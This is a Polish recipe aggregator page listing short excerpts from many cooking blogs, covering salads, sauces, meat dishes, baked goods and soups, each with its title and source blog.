osuszony szpinak mieszamy z pokrojoną w kostkę fetą. dodajemy pokrojone na połówki truskawki, szparagi i orzechy. Oliwę mieszamy z sokiem z cytryny i posiekaną miętą. Polewamy sałatkę powstałym sosem. Całość oprószamy pieprzem

KUCHNIA POLSKA
O mój kurczaku w rozmarynie! 213

lubię? Może dlatego, że ma tak charakterystyczny smak, iż nie da się go pomylić z jakąkolwiek inną przyprawą. Lubię takie indywidualności :) Dzisiaj połączyłam go z mięsem drobiowym i śmietanowym sosem. Poznaj recepturę

Pichceniomania
Sałatka z czarną soczewicą, burakiem, gruszką i serem pleśniowym 184

Połączenie burak-grusza-ser pleśniowy jest strzałem w dziesiątkę ;) Słodkość gruszki i buraka przełamana wyrazistym smakiem sera. Całości idealnie dopełnia z kolei sos musztardowo-miodowy.  Te pyszne smaki łączy w sobie lekka sałatka, która dzięki dodatkowi pożywnej soczewicy jest doskonałą propozycją na lekki obiad. Z powodzeniem można zapakować ją do pudełka i zabrać do pracy. SAŁATKA Z CZARNĄ SOCZEWICĄ

HealthyCreations
SURÓWKA Z MARCHEWKI - i jabłka do obiadu 235

skrzydełka w miodzie , puree ziemniaczane i surówka z marchewka i jabłka kotlety mielone z cebulą i czosnkiem , młode ziemniaczki z piekarnika i surówka z marchewki udka z kurczaka w sosie śliwkowym , kluski drożdżowe na parze i surówka z marchewki  żeberka po myśliwsku , frytki i surówka z marchewki i jabłka Smacznego :) Surówka z marchewki fot. Moja Książka Kucharska Surówka

Moja Książka Kucharska
Cobbler z rabarbarem, truskawkami i marcepanem 185

zapiekane pod ciastem. Pamiętacie może przepis cobbler z jabłkami …Cobbler skradł moje serce i piekę go często. To ciasto można jeść na ciepło z lodami lub wystudzone z sosem waniliowym. Cobbler z rabarbarem i truskawkami to typowe ciasto na lato. Sezon na rabarbar trwa, na truskawki już powoli się zaczyna…W tym roku będzie urodzaj na owoce. Odwiedziłam

codojedzenia
Wokół stołu – jak to ugryźć – cz. 3. Grill 149

należę), że należy się kierować zdrowym rozsądkiem, a mianowicie do miękkich warzyw używamy widelca, ale te twarde kroimy sobie nożem. No logiczne. Jeśli w daniu znajdują się ziemniaki i sos, możemy sobie rozgniatać po kawałeczku ziemniaki, ale absolutnie nie robimy na talerzu ziemniaczano – sosowej paciai. Grillowane na blasze młode ziemniaki wraz ze szparagami i boczkiem Zapiekanki Jeśli na zapiekance jest

Kate's Kitchen
Maślana młoda kapusta ,duszona w śmietanie 213

kapustę z czosnkiem , do czasu aż całkiem zmięknie . Co jakiś czas mieszając . Około 6 minut . Następnie dolewamy śmietankę , ocet winny , miód i dusimy na małym ogniu pod przykryciem aż sos lekko odparuje i się zagęści . Oczywiście co jakiś czas , trzeba zamieszać . Zwykle po 3-4 minutach jest już gotowe . Wyłączamy gaz , doprawiamy pieprzem , dekorujemy koperkiem i można serwować . Samodzielnie

Ogrodnik w podróży
GOŁĄBKI Z MIĘSEM I KASZĄ GRYCZANĄ 224

Pożywne i pyszne gołąbki z moją ulubioną kaszą gryczaną białą, zawinięte w liście kapusty pekińskiej !  Najlepiej smakują polane domowej roboty sosem pomidorowym lub grzybowym. SKŁADNIKI: 2 woreczki kaszy gryczanej białej 1 opakowanie drobiowego mięsa mielonego 6 pieczarek 1 pomidor malinowy Oliwa lub olej Suszony lubczyk, sól, pieprz liście z kapusty pekińskiej (można użyć kapusty młodej lub włoskiej) PRZYGOTOWANIE: 1.Kasz

Marcepanowa kuchnia
Sałatka z jajkiem i kiełkami 185

Roszponkę, rukolę umyj i osusz. Ułóż na talerzu. Dodaj pokrojoną w półplastry cebulę, pomidory, awokado. Jajka ugotuj na twardo, pokrój na ósemki i ułóż na warzywach. Posyp kiełkami, polej sosem czosnkowym (czosnek przeciśnij przez praskę, dodaj do jogurtu, przypraw i wymieszaj). Sałatka z jajkiem i kiełkami to doskonały pomysł na kolacje, danie na spotkanie z przyjaciółmi czy rodziną. Może

Strefa Zdrowego Żywienia
Mniszek lekarski – czas na syrop i sałatki 201

wymoczyć w zimnej, osolonej wodzie (moczyć ok. 30 minut). Osuszyć. Warzywa pokroić, jajko ugotować na twardo. Na półmisku ułożyć listki, pomidora, pokrojone w ósemki jajko i posypać szczypiorem. Polać sosem przygotowanym z oleju, octu i przypraw.   Jak widać mniszek lekarski nie jest zwykłym chwastem. Spróbujcie sami jak smakuje Artykuł Mniszek lekarski – czas na syrop i sałatki pochodzi

Strefa Zdrowego Żywienia
Pasztet z kaszy jaglanej i soczewicy 227

soczewicę. Wymieszaj. Podduś. Przełóż do foremki. Piecz 180 stopniach ok. 30 minut. Pasztet ten idealnie nadaje się do kanapek, ale też do obiadu – pokrojony w grubsze plastry i polany sosem pieczarkowym z curry to doskonały pomysł na bezmięsny, bezglutenowy obiad. Można go także pokroić w kostkę i dodać do sałatki. Smacznego Kaszę jaglaną i soczewicę kupisz:   Artykuł Pasztet

Strefa Zdrowego Żywienia
Włoska sałatka ziemniaczana z suszonymi pomidorami 198

prawdziwej włoskiej sałatki ziemniaczanej, oooo tak Wiecie o czym mówię? Chyba mogę powiedzieć, że ta sałatka robi się sama. Wystarczy ugotować małe ziemniaki sałatkowe, pokroić suszone pomidory i polać sosem. Czy może być coś prostszego? Często podaję ją jako dodatek do obiadu zamiast klasycznych ziemniaczków. Dzięki temu, że jest łatwa i tania, sprawdzi się doskonale podczas letnich przyjęć w ogrodzie

Słodkie Gotowanie
WILGOTNE, CYTRYNOWE BABECZKI, SŁODZONE MIODEM Z ORZEŹWIAJĄCYM CYTRYNOWYM KREMEM. 189

utworzy się lekka piana, powoli dodaję miód, olej kokosowy i skórkę z cytryny w soku z cytryny rozpuszczam mąkę ziemniaczaną i dolewam do jajek mieszam do zgęstnienia aby sos szybciej zgęstniał przekładam go do garnka z grubym dnem i chwile gotuję ciągle mieszając jeszcze ciepłym polewamy babeczki SMACZNEGO

Upiecz sobie babeczkę
#MINI TORTY# SZPINAKOWE BABECZKI NASĄCZONE MIĘTĄ Z KREMEM MASCARPONE Z LIMONKĄ 197

pewno wywołają  zachwyt w oczach i kubkach smakowych waszych gości. Wyszło mi 10 babeczek, ale użyłam dużych foremek. Na uroczyste okazje wypróbujcie również: biszkopciki z kremem mascarpone i sosem truskawkowym cytrynowe babeczki z ananasowym nadzieniem i ananasowym kremem SKŁADNIKI NA BABECZKI: 120 g. świeżego szpinaku 6-8 listków mięty 2 jajka 1/2 - 3/4 szklanki cukru 1/3 szklanki oleju

Upiecz sobie babeczkę
10 POMYSŁÓW NA BEZCUKROWE SŁODYCZE DLA DZIECI, BEZ PIECZENIA 167

jogurtowiec bez pieczenia 4. DOMOWE ŻELKI żelki truskawkowe 5. ZDROWE PRALINKI Owsiano-kokosowe kuleczki Sezamowe kuleczki, domowa chałwa 6.  GOFRY OWSIANE Gofry owsiane 7. BUDYŃ JAGLANY Jaglanka z sosem truskawkowym 8.  DOMOWE KNOPPERSY     Wafle jaglano-orzechowe Knoppersy   9. SOKI Wiadomo, że najlepszym wyborem jest woda, ale podkręćmy ją trochę owocowym smakiem. Dodaj plasterki cytryny

Upiecz sobie babeczkę
Makaron z truskawkami 163

opakowaniu. Odcedzamy, przelewamy zimną wodą.  2. Z truskawek usuwamy szypułki, rozgniatamy je widelcem (zostawiamy kilka do dekoracji). Dodajemy jogurt, cukier, mieszamy.  3. Makaron mieszamy z powstałym sosem truskawkowym. Umieszczamy w miseczkach. Dekorujemy truskawkami, borówkami i miętą

Szefowa kuchni
Młody bób z groszkiem, chili i miętą 210

mięty, doprawić solą i pieprzem. Bób obrać ze skórek, ale nie jest to konieczne, przełożyć razem z groszkiem do miski. Dodać 2-3 łyżki wody z gotowanie, przemieszać. Polać sosem. Wymieszać przed podaniem. Smacznego

Stare Gary
Słodko-kwaśny romans maliny z cytryną 190

rozpadać przecieramy przez sito, aby pozbyć się pestek. Malinowy mus ponownie podgrzewamy dodając mąkę ziemniaczaną wymieszaną w 3 łyżkach wody. Żelatynę mieszamy z 2 łyżkami wody i wlewamy do sosu malinowego, mieszamy do rozpuszczenia. Zdejmujemy z ognia i studzimy. Płatki migdałowe prażymy na suchej patelni.  Ostudzone płatki migdałowe rozkładamy na dnie pucharków, na nie nakładamy porcję frużeliny malinowej, następnie

Bon appetit mon amie
Polewajka, czyli makaron z sosem truskawkowym 223

cieniutkie placki, które rozkładamy, aby przeschły. Kroimy ciasto w paski, układamy jeden na drugi i kroimy ostrym nożem w cienkie kluski. Gotujemy w osolonym wrzątku, chwilę od wypłynięcia. Sos truskawkowy, polewajka Truskawki, jogurt, zsiadłe mleko, kefir, śmietanka, kuleczki sera mozarella, cukier lub miód. Proporcja truskawek w stosunku do jogurtu czy kefiru dowolna. Śmietanki dolewamy niedużo, dla smaku. Składniki miksujemy. Polewamy

Leśny Zakątek
Sałatka z fenkułem ,ogórkiem i pomidorem w towarzystwie jaja sadzonego. Śniadanie idealne. 175

jego barwa przechodzi od miodowej do ciemnobrązowej. W kuchni może być stosowany wyłącznie na zimno (obróbka termiczna niszczy prozdrowotne substancje w nim zawarte), jako dodatek do sałatek, zup, sosów, twarogów, kasz itp. Potrawom tym nadaje korzenny smak. Olej z czarnuszki najlepiej przechowywać w zaciemnionej butelce w temperaturze 5-10 stopni C przez 3 miesiące od otwarcia. Zalecane spożycie oleju

Z Kuchni Do Kuchni
Szybka sałatka do pracy, jak ją zrobić ? 189

żółty pokrojony w drobną kosteczkę. Nie masz koktajlowych pomidorków, dodaj zwykłe pokrojone w kosteczkę. Do tego aby coś słodkiego pojawiło się gdzieniegdzie dorzuciłam kilka owoców suszonej żurawiny. Sos do sałatki albo polej tylko olejem, oliwą jak ja albo zrób najprostszy vinegrett .   Prawda że prosto ? Prawda że szybko ?   Spróbuj ! wymyślaj swoje kombinacje !   Szybka sałatka do pracy

Kuchnia na wzgórzu
Makaron w sosie pomidorowym z ostrygami i oliwkami 200

jest obłędny w smaku więc nic tylko gotujemy. Polecam nie tylko na Dzień Dziecka ale zawsze, jako szybki obiad. Wszystkim dzieciom małym i dużym mnóstwa radości życzę. Makaron w sosie pomidorowym z ostrygami i oliwkami. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Karczek pieczony w rękawie foliowym 181

zimno zamiast wędliny do chleba. Smacznego. Karczek pieczony w rękawie foliowym Zapraszam również do skorzystania z innych przepisów: Schab duszony w kapuście kiszonej Golonka pieczona w piwie Pulpety w sosie pomidorowym Artykuł Karczek pieczony w rękawie foliowym pochodzi z serwisu Księga Smaku

Księga-Smaku
Kuchnia wegańska Iwony Czarkowskiej 146

książek jakie mam na półce, ta zajmuje najmniej miejsca. A ma w sobie wiele ciekawostek. Autorką przepisów jest Iwona Czarkowska. Znajdziecie tu przepis na falafel z kalafiora z ostrym sosem pomidorowym, burritos z tofu z warzywami czy curry z ciecierzycy. Samych przepisów na pysze sałatki jest tam aż 10. Artykuł Kuchnia wegańska Iwony Czarkowskiej pochodzi z serwisu Fleksitarianizm.pl

Fleksitarianizm.pl
Sałatka z makaronem, grogonzolą, gruszką, rukolą i orzechami 146

sobą sok z cytryny, musztardę, miód, sól, pieprz, olej i przeciśnięty przez praskę czosnek. Dokładnie mieszamy.  3. Makaron, rukolę, gruszkę, ser i orzechy mieszamy ze sobą. Wlewamy przygotowany sos, ponownie dokładnie mieszamy

Szefowa kuchni
Surówka Colesław z młodej kapusty 200

pokroić w małą kostkę. Jabłko zetrzeć na tarce o dużych oczkach. Do kapusty dodać tarte jabłko, marchew oraz drobno krojoną cebulę. W kubku połączyć majonez, śmietanę, cukier oraz pieprz. Sosem zalać warzywa w misce. Dokładnie całość wymieszać. Surówka Colesław z młodej kapusty O czym warto pamiętać przygotowując surówkę z młodej kapusty. Jeśli nie mamy jabłka możemy użyć octu jabłkowego. Jedna

mecooks
Schab parzony w garnku - łatwy przepis 1006

dietetyczny.  Podawany do kanapek smakuje wybornie z masłem, majonezem , chrzanem lub innymi dodatkami.Schab parzony w garnku bardzo dobrze smakuje z zieloną sałatą , ogórkiem a jeśli zrobimy jakiś sos np grzybowy to taki schabik można podać także na ciepło do obiadu jako drugie danie. Schab parzony w garnku- łatwy przepis (adsbygoogle = window.adsbygoogle || []).push({}); SKŁADNIKI schab około kilograma 4 łyżki przypraw

zielonacukinka
Placuszki jajeczne z mozzarellą i świeżą bazylią 178

oraz w zwiększonej ilości. Oczywiście dla Niej praktycznie bez soli... Placuszki są przepyszne i bardzo aromatyczne. My podjadamy je w wersji solo, ale również świetnie komponują się z ulubionym sosem, na ciepło i zimno. Sami spróbujcie! (około 10 sztuk) 2 jajka 2 łyżki kefiru/jogurtu naturalnego/śmietany 2 łyżki mąki pszennej (płaskie) 1/4 łyżeczki proszku do pieczenia 1/4 łyżeczki soli

Di gotuje
Chlebki flatbread na jogurcie 211

się nie przypala i nie przywiera. Jeśli takiej szukacie to odsyłam Was do recenzji patelni Woll , która jest niezawodna i sprawdza się w każdej sytuacji Flatbread podłam z sosem tzatzyki i greckimi kofatmi (przepis wkrótce ) Chlebki flatbread na jogurcie Składniki: 1 szklanka jogurtu greckiego (lub innego gęstego) 2 szklanki mąki pszennej 2 płaskie łyżeczki proszku do pieczenia pęczek drobno posiekanej

PatiGotuje
Pesto z rukoli i pestek dynii 220

jest znakomite, ma głęboki i bogaty smak. Możesz je wykorzystać na wiele rozmaitych sposobów. Do dań z makaronem, zarówno na gorąco jak i na zimno w sałatkach, do serów, sosów, zup, dipów, twarogu. Moje ostatnie odkrycie to młode ziemniaczki ugotowane w całości i obtoczone w rukolowym pesto. Po prostu genialne! Rukola jest lekkostrawna i niskokaloryczna, garść zielonej sałaty to zaledwie

Gotuj zdrowo!Guten Appetit!
Rosół chiński z pulpetami 180

mrożona mieszanka chińska warzyw chiński makaron, gruby 250 g mielonego mięsa wołowego jajko pieprz, sól 1 łyżka pasty curry słodka i ostra papryka w proszku szczypta imbiru 1 łyżka sosu sojowego Warzywa zagotować w 2 l wody, gotować około 15 minut. Mięso wołowe doprawić solą, pieprzem, … Czytaj dalej Rosół chiński z pulpetami

gotuj ze mną
Placki z cukinii z koperkiem 151

pobawi się sama.  Kto ma dzieci ten pewnie wie o czym mówię ;) Wracając jednak do przepisu, zapraszam na cukiniowe placuszki, nicy takie zwykłe ale pazura dodaje im pewien sos, o nim przeczytacie już jutro,zapraszam! Składniki: 1 duża cukinia cukinia lub 2-3 małe, młode 1 cebula 3 - 4 łyżki mąki pszennej 2 jajka 2 ząbki czosnku świeże zioła

Życie zaczyna się w kuchni
Mięsko w sosie wielogrzybowym 234

żołądek i dwunastnicę. Mam nadzieję, że tak jest faktycznie, bo bardzo polubiłam gotowanie z nimi i zapewne często zagoszczą na moim stole. Koniecznie sprawdźcie poniższą propozycję, policzki wołowe w sosie z różnymi rodzajami grzybów. Poznaj recepturę

Pichceniomania
Cykorie po flamandzku 134

Jeśli trzeba to dolewamy trochę wody. W połowie czasu gotowania odwróciłem cykorie na drugą stronę. Ostrożnie usunąłem talerz i papier. Garnek już bez pokrywki ustawiłem na ogniu, podgrzewałem, aż sos zmienił się w ciemny syrop. Cykorie odwracałem kilkakrotnie, aby skarmelizowały się z każdej strony. Posypałem natką pietruszki i od razu podałem

R'n'G Kitchen
Zapiekanka makaronowa z truskawkami 128

osolonym wrzątku, odcedzamy, przekładamy do miski. Śmietanę mieszamy z mlekiem i ksylitolem. Dodajemy umyte truskawki, szypułki usuwamy po myciu. Większe kroimy, dodajemy do śmietany z cukrem i mieszamy. Do sosu, dodajemy makaron, dokładnie łączymy i przekładamy do naczynia żaroodpornego. Zapiekamy 20 min w temperaturze 180°C .  Następnie posypujemy startym parmezanem i zapiekamy jeszcze 10 min. I tutaj składnik, który

R'n'G Kitchen
Kurczak w sosie korma (Korma Chicken) 195

Kurczak w kremowym łagodnym sosie korma to pełne aromatów indyjskie danie, podawane z pieczywem Naan lub ryżem basmati. Składniki na 2 porcje: 500 g kurczaka 200 ml mleka kokosowego cebula 2 ząbki czosnku łyżeczka tartego imbiru 1/2 łyżeczki kminu rzymskiego 1/2 łyżeczki nasion kolendry 1/2 łyżeczki mielonej kurkumy łyżeczka garam masali szczypta chilli klika nitek szafranu 1/2 szkl. mielonych migdałów

wyzwania kuchenne
Kurczak w sosie czosnkowo-imbirowym 199

Rzadko przygotowuję. Właściwie odkąd mam dzieci, bo charakterystyczne są wyraziste, mocne smaki i aromaty, czego długo nie można podawać dzieciom. Mimo to,… Artykuł Kurczak w sosie czosnkowo-imbirowym pochodzi z serwisu Kolorowy Przepisownik

Kolorowy Przepisownik
JOGURTOWY DIP DO CHIPSÓW, FRYTEK, CHRUPKICH PRZEKĄSEK 268

sos, który urozmaica przekąski. Bardzo często, podczas planowania imprezy, spotkań towarzyskich, np na mecz czy boks a nawet oglądanie filmu lub bajek z rodziną zastanawiacie się co podać jako przekąskę. Tu bardzo dobrze sprawdzają się chipsy, chipsy z tortilli, paluszki lub inne chrupkie przekąski a do nich dip. Przepis na dip jogurtowy jest bardzo szybki do przygotowania i praktycznie

Zrób to smacznie
Młoda kapusta zasmażana 191

dietetyczna kapusta i najbardziej mi smakuje jak nie jest rozgotowana, bo rozgotowana być nie powinna. Można jeść z młodymi ziemniakami lub po prostu z grzanką, maczając ją w powstałym sosie. Smakuje na ciepło jak i na zimno. Najlepsza na następny dzień. Młoda kapusta zasmażana Potrzebujemy 1 duża lub 2 mniejsze główki kapusty, 2-3 cebule ze szczypiorem, 3-4 ząbki

Leśny Zakątek
Sałatka z białych buraków 170

Kiedyś dawno zakupiłam żółte buraki i zrobiłam je w sosie chrzanowym, wyglądały obłędnie jak małe słoneczka. Teraz udało mi się zakupić buraki białe i choć dziwnie tak jeść coś co smakuje jak burak a wygląda jak rzepa, są pyszne. Wizualne fajnie wyglądają w sałatce, polecam do zrobienia. Sałatka samo zdrowie. Sałatka z białych buraków. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Focaccia z pomidorkami i szparagami 186

lubię focaccie? Focaccia to włoski chlebek, coś jak podstawa pizzy, bez sera i sosu pomidorowego. Co ciekawe, to każdy region Włoch, ma swoją odmianę focacci. Jako typowe dodatki do focacci stosuje się oliwki, rozmaryn, szałwię, cebulę, pomidory czy gruboziarnistą sól. Jest prosta do zrobienia i dość uniwersalna. Możemy jeść ją maczając w dobrej jakości oliwie. Oj wchodzi wtedy gładziutko Możemy

Mieszam w Garnku
KREWETKI W CIEŚCIE LCHF (keto, LCHF, paleo, optymalne, bez glutenu i laktozy) 269

odkładać na talerz. Tłuszcz rozgrzać na patelni a następnie na średnim ogniu smażyć obtoczone krewetki do momentu zarumienienia. Krewetki podawać jako składnik sałatek lub przekąskę z dipami i sosami np czosnkowym, curry, teryaki, pomidorowym, barbecue itp. Smacznego!     Artykuł KREWETKI W CIEŚCIE LCHF (keto, LCHF, paleo, optymalne, bez glutenu i laktozy) pochodzi z serwisu OLA LA LCHF

Ola la LCHF
Pieczone szparagi w szynce 241

Sezon na szparagi jeszcze trwa i właśnie dlatego powinniśmy z niego korzystać póki możemy. Dziś pokażę Wam może nie dosłownie przepis, a raczej podpowiedź jak możecie

Kulinarnyblog.pl - wiesz jak gotować!
Sałatka z winogronem 234

garście żurawiny ok. 20 owoców winogrona ( u mnie czerwony i zielony) Przygotowanie: Kukurydzę osaczyć, winogrona umyć, pozbawić pestek Żurawinę jeśli sucha namoczyć, potem osączyć Składniki połączyć i polać sosem z octu balsamicznego, oliwy i miodu ( proporcje wg uznania). Kto lubi może dodać do sałatki ser żółty (starty na grubo

Proste Potrawy
Schab duszony w kapuście kiszonej 228

kapusty można dodać zasmażkę i chwilę jeszcze poddusić całość. Tak przyrządzony schab doskonale smakuje podany z młodymi ziemniaczkami. Smacznego Zapraszam również do skorzystania z innych przepisów: Pulpety w sosie pomidorowym Golonka pieczona w piwie Sałatka z kurczakiem, pieczonym burakiem i fetą Artykuł Schab duszony w kapuście kiszonej pochodzi z serwisu Księga Smaku

Księga-Smaku
Wiosenna sałatka do kolacji 150

mozzarellę w kostkę. Do malej miseczki przełożyć posiekany i lekko osolony ząbek czosnku, dodać szczyptę pieprzu, oregano, sok z cytryny, 2 łyżki oliwy i całość energicznie wymieszać. Polać sałatkę sosem przed podaniem. Smacznego

Wino Francja Kuchnia
SKRZYDEŁKA JAK Z KFC + FILMIK 238

rożny. Mniejsze kawałki kurczaka pieczemy 5-6 minut, natomiast większe 7-8 minut. Mięska wykładamy na talerz wyłożony ręcznikami papierowymi w celu odsączenia z tłuszczu. Podajemy ciepłe z ulubionymi sosami. Kawałki kurczaka są bardzo zbliżone do kurczaka KFC, są ostre a panierka chrupiąca i smaczna. Dobrze przylega do mięsa. Przepis zaliczam do dobrych i często go stosuję. Polecam

Kulinarne Fantazje Marioli
Makaron z cukinią, kurczakiem, pomidorkami i pastą pindżur 225

już biały dodajemy pokrojoną w plastry – ćwiartki cukinię, pomidorki koktajlowe przekrojone na pół. Dodaję sól, pieprz, pindżur, mieszam, smażę aż warzywa zmiękną. Wykładam na talerz makaron, dodaję warzywa- sos stworzy się sam z masełka, wody z warzyw i pindżuru. Można na wierzch dodać kilka świeżych pomidorków – fajny nadają smak podczas jedzenia. Posypuję makaron wiórkami parmezanu i świeżo zmielonym

MojaQchnia.pl
Kotleciki z kalafiora i cukinii – wegańskie i bezglutenowe – przepis krok po kroku 246

może macie jakieś ulubione? Jeśli tak, koniecznie dajcie znać!   Smacznego!   A jeśli szukacie przepisu na wywar warzywny, koniecznie zajrzyjcie tutaj: Wywar warzywny – baza do zup i sosów (dieta dr Dąbrowskiej) – przepis krok po kroku Artykuł Kotleciki z kalafiora i cukinii – wegańskie i bezglutenowe – przepis krok po kroku pochodzi z serwisu Okiem Blondynki by McBlondi

Okiem Blondynki by McBlondi
Grillowe inspiracje ! 197

innych smakowitości. Dzisiaj przychodzę do Was z kilkoma propozycjami na grillowe potrawy. Co powiecie na pyszne skrzydełka Brown Sugar, pierś z kurczaka w śródziemnomorskim stylu a do tego pyszny sos tzatziki ?  I oczywiście jak mogłabym zapomnieć o grillowanych warzywach z których można zrobić pyszne szaszłyki. Do tej roli świetnie sprawdzą się pieczarki, papryka oraz czerwona cebula.   Brzmi smacznie

Health-Fit-Life
Jajka sadzone na boczku 365

takiego śniadania polecam serdecznie przygotować szybką sałatkę z dostępnych świeżych produktów, które macie w lodówce. Do swojego jajka sadzonego przygotowałam dodatek z rukoli oraz pomidorów – następnie składniki polałam sosem winegret – doskonale komponowało się z jajkiem i boczkiem. Jajka sadzone na boczku zachwycą każdego – gwarantuję Nie wiem czy wiecie, ale jestem wielką wielbicielką śniadań z jajem, dlatego poniżej

Kuchnia Bazylii
Pizza z szynką, fasolką szparagową i ogórkiem 207

piątkowy wieczór przedstawiam przepis na pyszną pizzę z szynką i warzywami. To idealna przekąska na letnią imprezę pod chmurką. Pizza zachwyci każdego. Doskonale smakuje z ketchupem lub sosem czosnkowym. Do przygotowania pizzy użyłam wyśmienitej Szynki Dymionej firmy Hańderek. SKŁADNIKI: Ciasto: 2 szklanki mąki, 200 ml letniej wody, 20g świeżych drożdży, 1 łyżeczka cukru, ½ łyżeczki soli, 2 łyżki oliwy, Dodatkowo

Tradycyjna kuchnia Kasi
ZAPIEKANKA ZIEMNIACZANA Z WIEJSKĄ KIEŁBASKĄ 217

Pyszna zapiekanka ziemniaczana z wiejską kiełbaską w sosie serowo- śmietanowym. Idealna na obiad i nie tylko. Polecam i zapraszam również do polubienia mojego FP  Gotowanie Patki SKŁADNIKI NA 2 OSOBY: ➧ 30 dag Wiejskiej Kiełbasy  ➧6 Ziemniaków ➧1 Papryka czerwona  ➧6 Pieczarek ➧1 Cebula ➧20 dag Sera Żółtego Tartego ➧1 Jajko ➧300 ml Śmietany 18 % ➧Sól i pieprz

Gotowanie Patki
PIECZARKI W TEMPURZE 545

ciasto z mąki i wody) to doskonała przekąska, która smakuje równie dobrze na ciepło jak i na zimno.  Danie proste, tanie i smaczne. Idealnie smakują z różnymi sosami lub ketchupem. Najlepiej użyć tu małych pieczarek a po usmażeniu wbić wykałaczkę i pyszna przekąska gotowa :) Składniki: * około 15 niedużych pieczarek * 2 paczki  tempury  (użyłam  Skworcu ) * woda

Zrób to smacznie
Omlet z zielonym groszkiem, pomidorem i sezamem 125

krwionośnych - miażdżyca. Olej ten ma szerokie zastosowanie w kosmetyce - pomaga skórze odzyskać właściwą elastyczność, naturalny poziom wilgotności oraz zwalcza łuszczycę. Dawkowanie: To doskonały dodatek do sałatek, zup i sosów. Olej ten nie jest przeznaczony dla dzieci do lat 3 oraz kobiet w ciąży i kobiet karmiących. Dawkuje się go w ilości: 6-8 gramów oleju dziennie

Z Kuchni Do Kuchni
Ekspresowy kurczak masala z szybkowaru / Pressure cooker chicken masala 313

chyba szybciej nie da się przygotować posiłku niż w szybkowarze;) Przedstawiam poniżej przepis na jedno z moich ulubionych dań kuchni hinduskiej, czyli na kurczaka w doskonale doprawionym orientalnymi przyprawami sosie na bazie pomidorów, przygotowany w 20 minut! Zamiast tracić czas na gromadzenie niezbędnych przypraw, skorzystałam z gotowej pasty Patak’s Tikka Masala i danie wyszło przepyszne. Polecam! Scroll down

karmelowy
Żeberka z niespodzianką 319

Żeberka lubię pod każdą postacią. Dzisiaj mam dla Was takie o wyrazistym smaku, miękkie, a wszystko zatopione w pomidorowym sosie. Najlepsza do tego dania jest kiełbasa pikantna, która doda pikanterii. Ja dodałam kiełbasę z dzika. Żeberka można podawać z ryżem, ziemniakami, makaronem, kaszą lub kluskami. Jeżeli przygotowaliście Państwo danie z moich przepisów to proszę podzielcie się swoją opinią w komentarzach

O kuchni z uczuciem
Potrawka z mięsem mielonym, papryką i ziemniakami 173

dodajemy 1 szklankę wody, dusimy na małym ogniu przez 20 minut. 2. Po tym czasie dodajemy pokrojone w dużą kostkę ziemniaki oraz przyprawy. Gotujemy do miękkości ziemniaków i zgęstnienia sosu, przez około 20 minut

Szefowa kuchni
BROWNIE Z BORÓWKAMI I MALINOWYM COULIS 193

dolewamy roztopioną czekoladę z masłem. Wprost do miski przesiewamy mąkę i mieszamy do całkowitego połączenia składników w gładką masę. Przelewamy do formy i wygładzamy wierzch. Łyżeczką wykładamy porcje malinowego sosu, układamy borówki, posypujemy pokrojoną czekoladą.  Wstawiamy do piekarnika i pieczemy około 22 minuty

cool and minty
Gotujemy wywar rybny w szybkowarze 216

Aromatyczny i uniwersalny wywar rybny to doskonała baza do zup rybnych, risotto, sosów czy też owoców morza. Po wyklarowaniu można go użyć do przygotowania fantastycznej galarety rybnej. Inne wywary mięsne, drobiowe i warzywne znajdziesz w dziale Wywary . Wywar rybny. Składniki 800 g ryby - kręgosłupy z kawałkami mięsa, z płetwami, ja użyłam 3 z sandacza i 1 z łososia

Szybko Szybkowar
Chrupiące kotleciki curry na patyku 264

chyba w każdej możliwej postaci. Tym razem mielone mięso drobiowe o wyraźnym posmaku curry zostało otoczone płatkami kukurydzianymi, a następnie upieczone w piekarniku. Jako dodatek świetnie nada się sos czosnkowy, frytki i jakaś soczysta surówka:) 3 pojedyncze filety z kurczaka 1 żółtko 3 ząbki czosnku płatki kukurydziane 2-3 łyżeczki przyprawy curry 1/2 łyżeczki ostrej papryki 3-4 łyżki bulionu

Smaki Na Talerzu
Spaghetti bolognese z pomidorami z puszki 137

rozdrabniając mięso widelcem), następnie dodać pomidory z puszki, przykryć i dusić około 25 minut. Do puszki po pomidorach wlać do połowy wodę, dodać mąkę ziemniaczaną i wymieszać do rozpuszczenia. Sos zdjąć z ognia, dodać wodę z mąką i wymieszać. Podgotować jeszcze minutę, ciągle mieszając. Ps. Ja do podkreślenia smaku stosuję zamiast soli- łyżkę mielonych warzyw z solą- przygotowaną wg przepisu

Tradycyjna Kuchnia
Śniadanie z płynącym jajkiem sadzonym 163

czasu mieszając tak około 4-5 minut, potem dodajemy pomidora i znowu mieszamy. Na koniec dodajemy jedną/ dwie łyżki wody – w zależności od tego ile pomidor dodał sosu / płynu do dania. Jeśli pomidor był mało soczysty, dodaj 2 łyżki wody – potrzebujemy wytworzyć parę. Wbijamy ostrożnie jajka na środku i szybko zakrywam całość pokrywką. Po chwili – kilku minutach

Kuchnia na wzgórzu
Filet z kurczaka zapiekany z warzywami w sosie jogurtowym -pyszny obiadek 323

rozkładamy na całości, potem bierzemy połowę pieczarek i rozrzucamy. Teraz układamy szparagi, można posypać troszkę papryką czerwoną. Na to filety z kurczaka tak jak widać na zdjęciach. Zalewamy sosem -2 kubki jogurtu rozmieszać z majonezem i doprawić do smaku zalać mięsko i znów posypujemy papryką ,pieczarkami i na końcu szczypiorkiem

Moje Wyroby
Pyszna surówka obiadowa (z marchewki) 226

Pyszna surówka obiadowa (z marchewki). To jedna z łatwiejszych surówek, która idealnie smakuje z drugim daniem. U mnie dziś podana w towarzystwie pulpecików w mięsnym sosie. Idealnie sprawdzi się również do chrupiących kęsków z kurczaka . Szybko i smacznie, spróbujcie. Składniki: 3 duże marchewki około 2 cm pora około 1/2 płaskiej łyżeczki granulowanego czosnku bez chemii Skworcu 2 pełne łyżki naturalnego

Słodkie okruszki
Wiosenna zupa z tuńczykowymi pulpecikami 228

przygotować pulpeciki z tuńczyka. Nawet mój "Tadek niejadek" wcinał, aż mu się uszy trzęsły ;-) lepszej rekomendacji na trzeba !   #MasterTuńczyk       pulpeciki: 1 puszka tuńczyka w sosie własnym Princes 2 żółtka 2 łyżki błyskawicznych płatków jaglanych 3 łyżki mąki pszennej zupa: 1/2 kalafiora 3 średnie ziemniaki 2 marchewki 1 pietruszka kawałek selera 1 malutki por cebula

Jadło i czytadło
Zielona zupa cukiniowa 211

Wielu osobom wydaje się, że samą zupą nie da rady się najeść. Zainspirowani przepisem na innym blogu w tym wpisie postaram się pokazać Wam jak przygotować

